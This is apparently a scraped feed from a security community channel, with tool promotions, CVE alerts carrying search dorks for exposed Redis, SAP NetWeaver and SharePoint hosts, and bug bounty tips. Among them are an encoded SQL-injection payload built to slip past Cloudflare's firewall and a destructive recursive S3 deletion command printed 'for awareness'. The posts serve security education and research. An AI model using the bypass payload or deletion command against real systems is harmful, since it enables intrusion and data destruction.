Show Some Love Guyss 👀😅https://brutsecurity.medium.com/brutdroid-the-ultimate-beginners-tool-to-set-up-an-android-pentesting-lab-15d2e92e2d67
Medium
🚀 BrutDroid: The Ultimate Beginner’s Tool to Set Up an Android Pentesting Lab
✨ Build your own Android Pentesting playground with zero headaches.
❤13🔥6👍1
Brut Security pinned «Show Some Love Guyss 👀😅https://brutsecurity.medium.com/brutdroid-the-ultimate-beginners-tool-to-set-up-an-android-pentesting-lab-15d2e92e2d67»
⚡Detects sensitive files on the web server.
cat allurls.txt | grep -E "\.xls|\.xml|\.xlsx|\.json|\.pdf|\.sql|\.doc|\.docx|\.pptx|\.txt|\.zip|\.tar\.gz|\.tgz|\.bak|\.7z|\.rar|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.gz|\.config|\.csv|\.yaml|\.md|\.md5"
❤21👍5😁2
a free online tool designed to generate dorks for precise, professional search. Built for the #OSINT community, ready to use. Better queries lead to better intelligence.🧠
🔗 syntax.goldenowl.ai
🔗 syntax.goldenowl.ai
🤝9🔥7❤5👏1
🎯wtfis - Passive hostname, domain and IP lookup tool for non-robots
✅https://github.com/pirxthepilot/wtfis
✅https://github.com/pirxthepilot/wtfis
❤8
CVE-2025-48367: DoS in Redis, 7.0 rating❗️
One of two recent vulnerabilities discovered in Redis. Allows an attacker to perform a DoS, while the other allows an attacker to write out of bounds on hyperloglog operations, potentially leading to remote code execution.
Search at Netlas.io:
👉 Link: https://nt.ls/Lve8A
👉 Dork: redis:*
Vendor's advisory: https://github.com/redis/redis/security/advisories/GHSA-2r7g-8hpc-rpq9
One of two recent vulnerabilities discovered in Redis. Allows an attacker to perform a DoS, while the other allows an attacker to write out of bounds on hyperloglog operations, potentially leading to remote code execution.
Search at Netlas.io:
👉 Link: https://nt.ls/Lve8A
👉 Dork: redis:*
Vendor's advisory: https://github.com/redis/redis/security/advisories/GHSA-2r7g-8hpc-rpq9
🔥8🤝1
🎯 TryHackMe Voucher Giveaway at 1000 Members! 🎯
We’re on the road to 1,000 members in our Discord community! 🚀
Currently at 700+ strong, and once we hit 1K, we’ll be giving away a TryHackMe Voucher to Three lucky member! 🔐💻
🟢 What You Need to Do:
Join the Discord: https://discord.gg/u7uMFV833h
Stay active, invite your friends
Once we reach 1,000 members, the giveaway will go live!
📢 Let’s grow this amazing community together – learning, hacking, and winning! 💥
We’re on the road to 1,000 members in our Discord community! 🚀
Currently at 700+ strong, and once we hit 1K, we’ll be giving away a TryHackMe Voucher to Three lucky member! 🔐💻
🟢 What You Need to Do:
Join the Discord: https://discord.gg/u7uMFV833h
Stay active, invite your friends
Once we reach 1,000 members, the giveaway will go live!
📢 Let’s grow this amazing community together – learning, hacking, and winning! 💥
Discord
Join the Brut Security Discord Server!
Check out the Brut Security community on Discord - hang out with 950 other members and enjoy free voice and text chat.
🔥3❤2
CVE-2025-42963: Deserialization of Untrusted Data in SAP NetWeaver Application server for Java, 9.1 rating 🔥
A vulnerability in the LogViewer component allows an authenticated attacker to exploit unsafe Java object deserialization, which could lead to complete control over the system.
Search at Netlas.io:
👉 Link: https://nt.ls/0c6Ud
👉 Dork: http.headers.server:"NetWeaver"
Vendor's advisory: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/july-2025.html
A vulnerability in the LogViewer component allows an authenticated attacker to exploit unsafe Java object deserialization, which could lead to complete control over the system.
Search at Netlas.io:
👉 Link: https://nt.ls/0c6Ud
👉 Dork: http.headers.server:"NetWeaver"
Vendor's advisory: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/july-2025.html
🔥5
▶️ It's LIVE!
📌SubWatch – your next favorite tool for automated VPS subdomain monitoring! 🔍
✅ Supported On VPS
✅ Runs every 6 hours
✅ Sends newly found subdomains directly to your Discord
✅ Includes .txt file + message alerts
✅ Perfect for bug bounty hunters & recon workflows
📽️ Watch the YouTube video & get started now:
👉 https://youtu.be/BkpSQKSTFUI
📥 Download & Readme on GitHub:
👉 https://github.com/Brut-Security/SubWatch
🔧 Powered by: subfinder, anew, jq, notify
Built with 💙 by Brut Security
❤️ Give it a try, share it with your team, and drop your reactions below!
📌SubWatch – your next favorite tool for automated VPS subdomain monitoring! 🔍
✅ Supported On VPS
✅ Runs every 6 hours
✅ Sends newly found subdomains directly to your Discord
✅ Includes .txt file + message alerts
✅ Perfect for bug bounty hunters & recon workflows
📽️ Watch the YouTube video & get started now:
👉 https://youtu.be/BkpSQKSTFUI
📥 Download & Readme on GitHub:
👉 https://github.com/Brut-Security/SubWatch
🔧 Powered by: subfinder, anew, jq, notify
Built with 💙 by Brut Security
❤️ Give it a try, share it with your team, and drop your reactions below!
YouTube
🚨 New Subdomain Monitoring Tool for Bug Bounty Hunters! | Brut Security
🛡️ Introducing SubWatch: Automated Subdomain Monitoring Script by Brut Security
Stay one step ahead in your recon game!
This tool continuously monitors your target domains for new subdomains using subfinder, stores historical data, and sends alerts directly…
Stay one step ahead in your recon game!
This tool continuously monitors your target domains for new subdomains using subfinder, stores historical data, and sends alerts directly…
❤15
🚨CVE-2025-5777 (CitrixBleed 2) - Critical memory leak vulnerability affecting Citrix NetScaler ADC and Gateway devices
🎯Severity: CRITICAL ⚠️
✅PoC: https://github.com/win3zz/CVE-2025-5777
🎯Severity: CRITICAL ⚠️
✅PoC: https://github.com/win3zz/CVE-2025-5777
❤3🔥3
CVE-2025-49704: Code Injection in Microsoft SharePoint, 8.8 rating❗️
The vulnerability allows an authenticated attacker to execute code over the network.
Search at Netlas.io:
👉 Link: https://nt.ls/1egrV👉 Dork: http.headers.microsoftsharepointteamservices:*
Vendor's advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704
The vulnerability allows an authenticated attacker to execute code over the network.
Search at Netlas.io:
👉 Link: https://nt.ls/1egrV👉 Dork: http.headers.microsoftsharepointteamservices:*
Vendor's advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704
❤4
🚨 Bug Bounty Tip: Takeover Vulnerable S3 Buckets in Under a Minute! ☁️
Want to identify exposed Amazon S3 buckets linked to a target? Here's a quick method:
🔍 Then check for public S3 buckets:
👉 If the bucket name isn’t obvious:
⚠️ Found a vulnerable bucket? Don’t delete anything!
✅ Always report responsibly. Never exploit — you're here to help, not harm.
⚡️ Happy Hunting!
Want to identify exposed Amazon S3 buckets linked to a target? Here's a quick method:
echo REDACTED.COM | cariddi | grep js | tee js_files | httpx -mc 200 | nuclei -tags aws,amazon
🔍 Then check for public S3 buckets:
aws s3 ls s3://REDACTEDCOM.s3.amazonaws.com
👉 If the bucket name isn’t obvious:
echo REDACTED.COM | cariddi -e -s -info
⚠️ Found a vulnerable bucket? Don’t delete anything!
# Do NOT run this. Just for awareness:
aws s3 rm s3://REDACTEDCOM.s3.amazonaws.com --recursive
✅ Always report responsibly. Never exploit — you're here to help, not harm.
⚡️ Happy Hunting!
❤11👍7🔥4🗿2
🛡️ Bug Bounty Tip: Cloudflare 403 Bypass for Time-Based Blind SQLi
When your payload gets blocked by Cloudflare (403), try obfuscation with URL encoding to sneak it past!
❌ Blocked Payload
✅ Bypass Payload
🔍 This obfuscation can help trigger Time-Based Blind SQLi even when WAF protection is in place.
✅Credit: @nav1n0x
When your payload gets blocked by Cloudflare (403), try obfuscation with URL encoding to sneak it past!
❌ Blocked Payload
(select(0)from(select(sleep(10)))v) → 403 Forbidden
✅ Bypass Payload
(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v)
🔍 This obfuscation can help trigger Time-Based Blind SQLi even when WAF protection is in place.
✅Credit: @nav1n0x
❤35👍5🗿4😁1
⚡SSTImap - Automatic SSTI detection tool with interactive interface
✅https://github.com/vladko312/SSTImap
✅https://github.com/vladko312/SSTImap
❤11👍3
Tired of switching tabs for OSINT and recon? Just join our Discord and type sudo help to unlock powerful tools in seconds!
✅ IP & Domain Lookup
✅ Email & Phone OSINT
✅ Subdomain Enumeration
✅ Reverse Image Search
✅ URL & Virus Scanners
✅ Temp Email, QR Tools, and more
🌟 You can create and play your own CTF in a minute , right inside Discord!
Try it out now — it’s fast, simple, and all in one chat.
🔗 https://discord.gg/u7uMFV833h
#ctf #bugbounty #osint #cybersecurity #discordtools #infosec
✅ IP & Domain Lookup
✅ Email & Phone OSINT
✅ Subdomain Enumeration
✅ Reverse Image Search
✅ URL & Virus Scanners
✅ Temp Email, QR Tools, and more
🌟 You can create and play your own CTF in a minute , right inside Discord!
Try it out now — it’s fast, simple, and all in one chat.
🔗 https://discord.gg/u7uMFV833h
#ctf #bugbounty #osint #cybersecurity #discordtools #infosec
1🫡8❤4